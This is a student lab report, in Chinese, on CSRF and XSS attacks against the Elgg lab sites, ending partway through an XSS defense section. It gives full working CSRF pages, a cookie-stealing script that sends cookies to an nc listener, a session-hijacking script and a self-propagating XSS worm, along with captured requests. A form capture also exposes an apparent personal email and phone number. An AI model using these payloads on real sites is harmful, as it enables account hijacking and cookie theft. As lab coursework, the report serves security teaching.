信息系统安全实验3记录
跨站请求伪造(CSRF)攻击实验
任务 1:基于 GET 请求的
CSRF 攻击
使用 samy 登录,发送添加好友命令,获取 URL。HTTP Header Live
插件窗口捕获的数据包如图所示:
image-20240619220223319
由此我们可以知道 GET 请求的结构是
http://www.csrflabelgg.com/action/friends/add?friend=id,所以现在我们需要获取
Samy 的 ID 号码。通过尝试为 Samy
创建一个新界面,我们可以看到红色高亮部分 45 是 Samy 的 ID。
image-20240619221713999
在攻击者网站下创建 get_csrf.html
1
| sudo touch /var/www/CSRF/Attacker/get_csrf.html
|
写入以下内容
1 2 3 4 5 6 7 8 9 10 11 12 13
| <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta http-equiv="X-UA-Compatible" content="IE=edge"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>CSRF_GET</title> </head> <body> Alice, you're my friend now! <img src="http://www.csrflabelgg.com/action/friends/add?friend=45"/> </body> </html>
|
Samy 向 Alice 发送了一封邮件,诱使 Alice 点击恶意链接
http://www.csrflabattacker.com/get_csrf.html
image-20240619224208937
登录 Alice 的账户查看邮件并访问恶意网页,捕获到的 GET
请求数据包添加了用户 ID 45,即 Samy,然后检查活动界面发现 Alice 添加了
Samy 为好友。
image-20240619224651139
image-20240619224818367
image-20240619224859567
任务 2:使用 POST
请求的 CSRF 攻击
仍然先登录 Samy 的账户,然后修改个人主页,进行 POST
请求数据包捕获,得到以下结果。
image-20240619230611400
POST 请求发送到
http://www.csrflabelgg.com/action/profile/edit,提交的表单内容如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24
| __elgg_token=2G9AraT4cb7pPqONMfz3sQ &__elgg_ts=1718837884 &name=Samy &description=<p>A Hacker</p> &accesslevel[description]=2 &briefdescription=Student &accesslevel[briefdescription]=2 &location=Wuhan &accesslevel[location]=2 &interests=Football &accesslevel[interests]=2 &skills=python &accesslevel[skills]=2 &contactemail=U202112149@hust.edu.cn &accesslevel[contactemail]=2 &phone=19907121291 &accesslevel[phone]=2 &mobile=19907121291 &accesslevel[mobile]=2 &website=https://strivelee.top &accesslevel[website]=2 &twitter=lixiang21 &accesslevel[twitter]=2 &guid=45
|
根据这个请求格式,Alice 的 guid 知道是 43,尝试使用 POST 请求进行
CSRF 攻击。
首先在攻击者网站下创建 get_csrf.html
1
| sudo touch /var/www/CSRF/Attacker/post_csrf.html
|
写入以下内容:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28
| <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta http-equiv="X-UA-Compatible" content="IE=edge"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>CSRF_POST</title> </head> <body> Alice, your profile has changed! </body>
<script> fetch('http://www.csrflabelgg.com/action/profile/edit', { credentials: 'include', method: 'POST', headers: { 'Content-Type': 'application/x-www-form-urlencoded' }, body: new URLSearchParams({ guid:42, description:"<p>Samy is my hero</p>", briefdescription:"I'm Samy", }) })
</script> </html>
|
Samy 向 Alice 发送了一封邮件,诱使 Alice 点击恶意链接
http://www.csrflabattacker.com/post_csrf.html
image-20240619232506107
登录 Alice 的账户,然后查看并点击邮件中的链接。
image-20240619232629475
我们可以看到“关于我”部分已成功修改,POST
请求数据包被捕获,与现象一致。
image-20240619232821090
image-20240620230509435
任务 3:实现登录 CSRF
攻击
首先捕获登录请求数据包,相应的请求方法为 POST,URL 为
http://www.csrflabelgg.com/action/login,请求表单包含用户名和密码,均为明文。
image-20240620164209052
表单数据内容如下:
1 2 3 4
| __elgg_token=5ovl8du9mM-5V1rwIDhJsg __elgg_ts=1718872774 username=Samy password=seedsamy
|
首先在攻击者网站下创建 get_csrf.html
1
| sudo touch /var/www/CSRF/Attacker/post_csrf.html
|
写入以下内容:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31
| <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta http-equiv="X-UA-Compatible" content="IE=edge"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>CSRF_Login</title> </head> <body> Alice, here is a CSRF_Login attack! </body> <script> fetch('http://www.csrflabelgg.com/action/login', { credentials: 'include', method: 'POST', headers: { 'Content-Type': 'application/x-www-form-urlencoded' }, body: new URLSearchParams({ username:"samy", password:"seedsamy", persistent:true, }) })
</script> </html>
|
Samy 向 Alice 发送了一封邮件,诱使 Alice 点击恶意链接
http://www.csrflabattacker.com/login_csrf.html
image-20240620222327448
image-20240620223041289
image-20240620223149485
任务 4:防御策略
首先进入目录
/var/www/CSRF/Elgg/vendor/elgg/elgg/engine/classes/Elgg,找到
ActionService.php 文件中的 gatekeeper() 函数,并注释掉 return true
语句。
image-20240620231737340
所有 3 次攻击均失败:
image-20240620232609700
GET 请求没有 token:
image-20240620232620176
POST 请求没有 token:
image-20240620232830171
登录没有 token:
image-20240620232359807
跨站脚本(XSS)攻击实验
首先需要切换网站,切换到 http://www.xsslabelgg.com。
任务 1:从受害者机器窃取
Cookie
使用 samy 登录,修改 samy 的个人资料。在“关于我”字段中,首先点击编辑
HTML,添加以下内容:
1
| <script>document.write('<img src=http://127.0.0.1:5555?c=' + escape(document.cookie) + '>'); </script>
|
image-20240621102354596
切换到 Alice 并查看 Samy 的主页,使用 nc 监听 5555 端口
nc -l 5555 -v 来查看数据包信息,HTTP Header Live
也有效。
image-20240621102835358
image-20240621103053599
任务 2:使用 Ajax
脚本自动发起会话劫持
使用 samy 登录,修改 samy 的个人资料。在“关于我”字段中,首先点击编辑
HTML,添加以下内容:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
| <script> window.onload = function () { var ts = elgg.security.token.__elgg_ts; var token = elgg.security.token.__elgg_token; var guid = elgg.session.user.guid; fetch('http://www.xsslabelgg.com/action/profile/edit', { credentials: 'include', method: 'POST', headers: { 'Content-Type': 'application/x-www-form-urlencoded' }, body: new URLSearchParams({ __elgg_ts: ts, __elgg_token: token, guid: guid, briefdescription: "Samy is my hero", }) }) } </script>
|
然后,切换到使用 Alice 登录,从 Alice 的界面打开 Samy
的主页进行查看。通过 HTTP Header Live 插件,发现已发送修改简要描述的
POST 请求,达成攻击效果。发送的 HTTP 数据包:
image-20240621104726870
任务 3:构造 XSS 蠕虫
使用 samy 登录,修改 samy 的个人资料。在“关于我”字段中,首先点击编辑
HTML,添加以下内容:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21
| <script id='worm'> setTimeout(() => { var ts = elgg.security.token.__elgg_ts; var token = elgg.security.token.__elgg_token; var guid = elgg.session.user.guid; fetch('http://www.xsslabelgg.com/action/profile/edit', { credentials: 'include', method: 'POST', headers: { 'Content-Type': 'application/x-www-form-urlencoded' }, body: new URLSearchParams({ __elgg_ts: ts, __elgg_token: token, guid: guid, briefdescription: "Samy is my hero", description: "<script id='worm'>" + document.getElementById('worm').innerHTML + "<\/script>" }) }) }, 3000) </script>
|
然后,切换到使用 Alice 登录,从 Alice 的界面打开 Samy
的主页进行查看。通过 HTTP Header Live 插件,发现已发送修改简要描述的
POST 请求,达成攻击效果。发送的 HTTP 数据包:
image-20240621105412187
与上述不同的是,此 POST 数据包的描述字段被修改为恶意 XSS
脚本本身,从而创造了传播性。修改 Alice
个人资料的具体数据包内容如下。
image-20240621110705476
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44
| http://www.xsslabelgg.com/action/profile/edit Host: www.xsslabelgg.com User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:60.0) Gecko/20100101 Firefox/60.0 Accept: */* Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Referer: http://www.xsslabelgg.com/profile/samy content-type: application/x-www-form-urlencoded origin: http://www.xsslabelgg.com Content-Length: 1136 Cookie: Elgg=jl5l97kq1k4todunjgn0ek8ft0 Connection: keep-alive __elgg_ts=1718938378&__elgg_token=P-0B7cbe_msL5vOGF0n8AQ&guid=44&briefdescription=Samy is my hero&description=<script id='worm'> setTimeout(() => { var ts = elgg.security.token.__elgg_ts; var token = elgg.security.token.__elgg_token; var guid = elgg.session.user.guid; fetch('http://www.xsslabelgg.com/action/profile/edit', { credentials: 'include', method: 'POST', headers: { 'Content-Type': 'application/x-www-form-urlencoded' }, body: new URLSearchParams({ __elgg_ts: ts, __elgg_token: token, guid: guid, briefdescription: "Samy is my hero", description: "<script id='worm'>" + document.getElementById('worm').innerHTML + "<\/script>" }) }) }, 3000) </script> POST: HTTP/1.1 302 Found Date: Fri, 21 Jun 2024 02:53:01 GMT Server: Apache/2.4.18 (Ubuntu) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache Location: http://www.xsslabelgg.com/profile/alice Content-Length: 0 Keep-Alive: timeout=5, max=97 Connection: Keep-Alive Content-Type: text/html;charset=utf-8
|
以 Boby 登录并访问 Alice 的个人资料,也可以获取修改个人资料的 POST
数据包,Boby 的介绍也被修改为同一句话:
image-20240621111233972
image-20240621111431159
任务 4:防御策略
仅启用 HTMLawed 1.9
Elgg 默认有防御策略。虚拟机已禁用并注释掉相应的防御策略。实际上,Elgg
Web 应用程序最初启用了一个自定义安全插件
HTMLawed,它验证用户输入并移除输入中的标签。这个特定插件被注册到
elgg/engine/lib/input.php 文件中的过滤标签功能。例如,它将